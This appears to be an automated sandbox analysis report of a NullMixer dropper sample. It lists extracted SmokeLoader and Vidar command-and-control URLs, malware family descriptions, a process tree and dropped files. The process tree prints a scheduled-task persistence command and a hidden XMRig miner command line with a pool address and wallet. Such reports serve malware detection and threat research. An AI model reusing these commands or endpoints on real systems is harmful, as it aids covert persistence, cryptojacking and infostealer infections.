Analysis
- max time kernel
0s - max time network
150s - platform
windows7_x64 - resource
win7-20240221-en - resource tags
- submitted
28/02/2024, 08:09
General
- Target setup_installer.exe
- Size 3.3MB
- Sample240228-j1982afa6w
- SHA256 e17ed5dd93ee4943d5b6776705d3b149f8e426d0c1d44a57f467d31e55f47892
Malware Config
Extracted
-
nullmixer
-
http://marisana.xyz/
Extracted
-
smokeloader
-
2020
-
http://aucmoney.com/upload/
-
http://thegymmum.com/upload/
-
http://atvcampingtrips.com/upload/
-
http://kuapakualaman.com/upload/
-
http://renatazarazua.com/upload/
-
http://nasufmutlu.com/upload/
Extracted
-
smokeloader
-
pub6
Extracted
-
vidar
-
39.9
-
706
-
https://prophefliloc.tumblr.com/
-
profile_id
706
Signatures
- NullMixer
NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.
- PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
- RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
- SmokeLoader
Modular backdoor trojan in use since 2014.
- Vidar
Vidar is an infostealer based on Arkei stealer.
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Vidar Stealer 2 IoCs
- XMRig Miner payload 2 IoCs
- ASPack v2.12-2.42 4 IoCs
Detects executables packed with ASPack v2.12-2.42
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
- Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 2 IoCs
- Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS848A9E26\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS848A9E26\setup_install.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c jobiea_7.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS848A9E26\jobiea_7.exejobiea_7.exe4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c jobiea_6.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS848A9E26\jobiea_6.exejobiea_6.exe4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c jobiea_5.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS848A9E26\jobiea_5.exejobiea_5.exe4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c jobiea_4.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS848A9E26\jobiea_4.exejobiea_4.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\chrome2.exe"C:\Users\Admin\AppData\Local\Temp\chrome2.exe"5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit6⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'7⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit7⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'8⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"7⤵
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.main/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6BJ+edII5Fll530cZ/+msGEWovb73nU3RrOnuNmRoFcg" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth7⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"5⤵
-
C:\Windows\winnetdriv.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe" 1709107776 06⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c jobiea_3.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS848A9E26\jobiea_3.exejobiea_3.exe4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2920 -s 9605⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c jobiea_9.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS848A9E26\jobiea_9.exejobiea_9.exe4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c jobiea_8.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS848A9E26\jobiea_8.exejobiea_8.exe4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c jobiea_2.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS848A9E26\jobiea_2.exejobiea_2.exe4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c jobiea_1.exe3⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2588 -s 4243⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS848A9E26\jobiea_1.exejobiea_1.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS848A9E26\jobiea_1.exe"C:\Users\Admin\AppData\Local\Temp\7zS848A9E26\jobiea_1.exe" -a2⤵
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {76A8622A-6293-47DD-BE51-F4C1E2842013} S-1-5-21-2297530677-1229052932-2803917579-1000:HKULBIBU\Admin:Interactive:[1]1⤵
-
C:\Users\Admin\AppData\Roaming\hwgecfsC:\Users\Admin\AppData\Roaming\hwgecfs2⤵
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
94308059B57B3142E455B38A6EB92015
jobiea_5.exe
jobiea_6.exe
jobiea_8.exe
jobiea_9.exe
libstdc++-6.dll
Tar2BD8.tmp
winnetdriv.exe
jobiea_1.exe
jobiea_1.exe
jobiea_2.exe
jobiea_3.exe
jobiea_3.exe
jobiea_4.exe
jobiea_4.exe
jobiea_7.exe
libcurl.dll
libcurlpp.dll
libgcc_s_dw2-1.dll
libwinpthread-1.dll
setup_install.exe
chrome2.exe
memory/644-121-0x0000000000D70000-0x0000000000E5E000-memory.dmp
memory/848-281-0x000007FEF59E0000-0x000007FEF63CC000-memory.dmp
memory/848-418-0x00000000005E0000-0x00000000005EE000-memory.dmp
memory/848-424-0x000007FEF59E0000-0x000007FEF63CC000-memory.dmp
memory/848-201-0x000000013F570000-0x000000013F580000-memory.dmp
memory/1204-425-0x0000000002EA0000-0x0000000002EB6000-memory.dmp
memory/1204-187-0x0000000002E80000-0x0000000002E96000-memory.dmp
memory/1600-441-0x0000000140000000-0x0000000140786000-memory.dmp
memory/1600-437-0x0000000140000000-0x0000000140786000-memory.dmp
memory/1600-438-0x0000000140000000-0x0000000140786000-memory.dmp
memory/1600-439-0x0000000140000000-0x0000000140786000-memory.dmp
memory/1600-440-0x0000000140000000-0x0000000140786000-memory.dmp
memory/1624-423-0x000000013F660000-0x000000013F670000-memory.dmp
memory/1832-431-0x0000000000400000-0x0000000002C66000-memory.dmp
memory/1832-434-0x0000000002E44000-0x0000000002E4D000-memory.dmp
memory/1948-199-0x0000000000250000-0x0000000000259000-memory.dmp
memory/1948-188-0x0000000000400000-0x0000000002C66000-memory.dmp
memory/1948-198-0x0000000002E77000-0x0000000002E80000-memory.dmp
memory/2028-119-0x00000000010D0000-0x00000000010D8000-memory.dmp
memory/2028-282-0x0000000000A00000-0x0000000000A80000-memory.dmp
memory/2028-277-0x000007FEF59E0000-0x000007FEF63CC000-memory.dmp
memory/2120-34-0x0000000002BB0000-0x0000000002CCE000-memory.dmp
memory/2120-41-0x0000000002BB0000-0x0000000002CCE000-memory.dmp
memory/2168-221-0x0000000000540000-0x0000000000624000-memory.dmp
memory/2340-125-0x0000000000B70000-0x0000000000BA8000-memory.dmp
memory/2340-266-0x000007FEF59E0000-0x000007FEF63CC000-memory.dmp
memory/2340-200-0x0000000000990000-0x00000000009B8000-memory.dmp
memory/2340-415-0x000007FEF59E0000-0x000007FEF63CC000-memory.dmp
memory/2340-172-0x0000000000980000-0x0000000000986000-memory.dmp
memory/2340-280-0x000000001AF30000-0x000000001AFB0000-memory.dmp
memory/2340-202-0x00000000009C0000-0x00000000009C6000-memory.dmp
memory/2472-430-0x000000013FC40000-0x000000013FC46000-memory.dmp
memory/2588-65-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2588-72-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2588-61-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2588-62-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2588-63-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2588-66-0x0000000000AF0000-0x0000000000C0E000-memory.dmp
memory/2588-67-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2588-69-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2588-43-0x0000000000400000-0x000000000051E000-memory.dmp
memory/2588-71-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2588-267-0x0000000000400000-0x000000000051E000-memory.dmp
memory/2588-271-0x0000000064940000-0x0000000064959000-memory.dmp
memory/2588-272-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2588-273-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2588-274-0x000000006EB40000-0x000000006EB63000-memory.dmp
memory/2588-275-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2588-51-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2588-60-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2588-54-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2588-64-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2588-73-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2588-75-0x0000000000400000-0x000000000051E000-memory.dmp
memory/2588-80-0x0000000000400000-0x000000000051E000-memory.dmp
memory/2588-81-0x0000000000400000-0x000000000051E000-memory.dmp
memory/2588-83-0x0000000000400000-0x000000000051E000-memory.dmp
memory/2588-82-0x0000000000400000-0x000000000051E000-memory.dmp
memory/2588-78-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2588-77-0x0000000000400000-0x000000000051E000-memory.dmp
memory/2588-76-0x0000000000AF0000-0x0000000000C0E000-memory.dmp
memory/2588-74-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2588-70-0x0000000064940000-0x0000000064959000-memory.dmp
memory/2588-68-0x0000000000AF0000-0x0000000000C0E000-memory.dmp
memory/2920-279-0x0000000002CD0000-0x0000000002D6D000-memory.dmp
memory/2920-278-0x0000000002E30000-0x0000000002F30000-memory.dmp
memory/2920-276-0x0000000000400000-0x0000000002CC2000-memory.dmp
memory/2960-233-0x0000000000440000-0x0000000000524000-memory.dmp